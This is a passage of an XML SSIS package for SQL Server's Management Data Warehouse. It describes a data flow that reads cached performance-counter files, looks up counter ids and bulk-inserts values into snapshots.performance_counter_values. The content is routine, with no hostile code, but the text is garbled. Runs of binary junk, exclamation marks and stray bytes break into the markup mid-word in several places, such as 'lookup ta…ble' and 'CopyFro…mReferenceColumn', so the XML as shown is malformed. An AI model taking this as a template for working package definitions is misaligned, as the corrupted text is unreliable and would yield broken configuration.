Output].Columns[collection_time]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">(DT_DBTIMESTAMP2,1)collection_time</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted" componentClassID="{671046B0-AA63-4C9F-90E4-C06E0B710CE3}" contactInfo="Lookup;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="Looks up values in a reference dataset by using exact matching." name="LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted" usesDispositions="true" version="6"><properties><property dataType="System.String" description="Specifies the SQL statement that generates the lookup table." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">SELECT path, performance_counter_id FROM snapshots.performance_counter_instances</property><property dataType="System.String" description="Specifies a SQL statement that uses parameters to generate the lookup table." expressionType="Notify" name="SqlCommandParam">SELECT [path], [performance_counter_id] FROM [snapshots].[performance_counter_instances] WHERE [path] = ?</property><property dataType="System.Int32" description="Specifies the cache type of the lookup ta	!!!!!!!!!!!!!!!!!!!!!!!!`5h4mHvble." name="CacheType" typeConverter="CacheType">0</property><property dataType="System.Int32" description="Maximum Memory Usage for Reference Cache on a 32 bit platform." name="MaxMemoryUsage">5</property><property dataType="System.Int64" description="Maximum Memory Usage for Reference Cache on a 64 bit platform." name="MaxMemoryUsage64">5</property><property dataType="System.String" description="Indicates whether to reference metadata in an XML format." name="ReferenceMetadataXml">&lt;referenceMetadata&gt;&lt;referenceColumns&gt;&lt;referenceColumn name="path" dataType="DT_WSTR" length="2048" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="performance_counter_id" dataType="DT_I4" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;/referenceColumns&gt;&lt;/referenceMetadata&gt;</property><property containsID="true" dataType="System.String" description="Specifies the list of lineage identifiers that map to the parameters that the SQL statement in the SQLCommand property uses. Entries in the list are separated by semicolons." name="ParameterMap">#{Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[path]};</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Int32" description="Specifies the type of connection used to access the reference dataset." name="ConnectionType" typeConverter="LookupConnectionType">0</property><property dataType="System.Int32" description="Specifies how the Lookup transformation handles rows without matching entries in the reference data set." name="NoMatchBehavior" typeConverter="LookupNoMatchBehavior">1</property><property dataType="System.Int32" description="Specifies the percentage of the cache that is allocated for rows with no matching entries in the reference dataset." name="NoMatchCachePercentage">0</property><property dataType="System.Boolean" description="Determines whether duplicate keys in the reference data should be treated as errors when full cache mode is used." name="TreatDuplicateKeysAsError">false</property></properties><connections><connection refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="Connection manager used to access lookup data." name="OleDbConnection"/></connections><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input]" name="Lookup Input"><inputColumns><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input].Columns[path]" cachedDataType="wstr" cachedLength="2048" cachedName="path" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[path]"><properties><property dataType="System.String" description="Specifies the column in the reference table that a column joins." name="JoinToReferenceColumn">path</property><property dataType="System.Null" description="Specifies the column in the reference table from which a column is copied." name="CopyFro	!!!!!!!!!!!!!!!!!!!!!!!!`5h($HvmReferenceColumn"/></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Match Output]" errorOrTruncationOperation="Lookup" exclusionGroup="1" name="Lookup Match Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Match Output].Columns[performance_counter_id]" dataType="i4" errorOrTruncationOperation="Copy Column" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Match Output].Columns[performance_counter_id]" name="performance_counter_id" truncationRowDisposition="FailComponent"><properties><property dataType="System.String" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn">performance_counter_id</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup No Match Output]" description="The Lookup output that handles rows with no matching entries in the reference dataset. Use this output when the NoMatchBehavior property is set to &quot;Send rows with no matching entries to the no match output.&quot;" exclusionGroup="1" name="Lookup No Match Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input]"><externalMetadataColumns/></output><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Error Output]" exclusionGroup="1" isErrorOut="true" name="Lookup Error Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Inputs[Lookup Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\D	!!!!!!!!!!!!!!!!!!!!!!!!`5h,HvFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODB - Fast upload data to performance_counter_values" usesDispositions="true" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[performance_counter_values]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">1000</property></properties><connections><connection refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE	!!!!!!!!!!!!!!!!!!!!!!!!`5h0nHHv DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="RedirectRow" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[raw_value_second]" cachedDataType="i8" cachedName="raw_value_second" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[raw_value_second]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_second]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[raw_value_first]" cachedDataType="i8" cachedName="raw_value_first" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[raw_value_first]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_first]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[formatted_value]" cachedDataType="r8" cachedName="formatted_value" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[formatted_value]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[formatted_value]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[performance_counter_id]" cachedDataType="i4" cachedName="performance_counter_id" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Exter	!!!!!!!!!!!!!!!!!!!!!!!!`6>	՚HvnalColumns[performance_counter_instance_id]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\LKU - Lookup into performance_counter_instances to obtain performance_counter_id for all counter paths that get inserted.Outputs[Lookup Match Output].Columns[performance_counter_id]"/><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].Columns[collect_time_convert]" cachedDataType="dbTimeStamp2" cachedName="collect_time_convert" cachedScale="1" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[collection_time]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[collect_time_convert]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[performance_counter_instance_id]" dataType="i4" name="performance_counter_instance_id"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[collection_time]" dataType="dbTimeStampOffset" name="collection_time" scale="7"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[formatted_value]" dataType="r8" name="formatted_value"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[raw_value_first]" dataType="i8" name="raw_value_first"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input].ExternalColumns[raw_value_second]" dataType="i8" name="raw_value_second"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fa	!!!!!!!!!!!!!!!!!!!!!!!!`6fHvst upload data to performance_counter_values.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\ODB - Fast upload data to performance_counter_values.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage" componentClassID="{480C7D5A-CE63-405C-B338-3C7F26560EE3}" contactInfo="Extracts data from a raw file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Extracts data from a raw file." name="RAW - Read current tempoary storage" validateExternalMetadata="False" version="1"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CacheFileToUpload</property></properties><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output]" name="Raw File Source Output"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[collection_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[collection_time]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[path]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[path]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[path]" name="path"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[formatted_value]" dataType="r8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].E	!!!!!!!!!!!!!!!!!!!!!!!!`6	oHvxternalColumns[formatted_value]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[formatted_value]" name="formatted_value"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_first]" dataType="i8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[raw_value_first]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_first]" name="raw_value_first"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_second]" dataType="i8" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[raw_value_second]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[raw_value_second]" name="raw_value_second"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[counter_type]" dataType="i4" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[counter_type]" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[counter_type]" name="counter_type"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[object_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[object_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[object_name]" name="object_name"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[instance_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[instance_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[instance_name]" name="instance_name"/><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current t	!!!!!!!!!!!!!!!!!!!!!!!!`6
 *tHvempoary storage.Outputs[Raw File Source Output].Columns[counter_name]" dataType="wstr" externalMetadataColumnId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[counter_name]" length="2048" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[counter_name]" name="counter_name"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[path]" dataType="wstr" length="2048" name="path"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[formatted_value]" dataType="r8" name="formatted_value"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[raw_value_first]" dataType="i8" name="raw_value_first"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[raw_value_second]" dataType="i8" name="raw_value_second"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[counter_type]" dataType="i4" name="counter_type"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[object_name]" dataType="wstr" length="2048" name="object_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[instance_name]" dataType="wstr" length="2048" name="instance_name"/><externalMetadataColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].ExternalColumns[counter_name]" dataType="wstr" length="2048" name="counter_name"/></externalMetadataColumns></output></outputs></component><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows failed to insert" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of rows failed to insert"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountError</property></properties><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data i	!!!!!!!!!!!!!!!!!!!!!!!!`6QSHvnto MDW\RC - Number of rows failed to insert.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RC - Number of rows failed to insert.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to 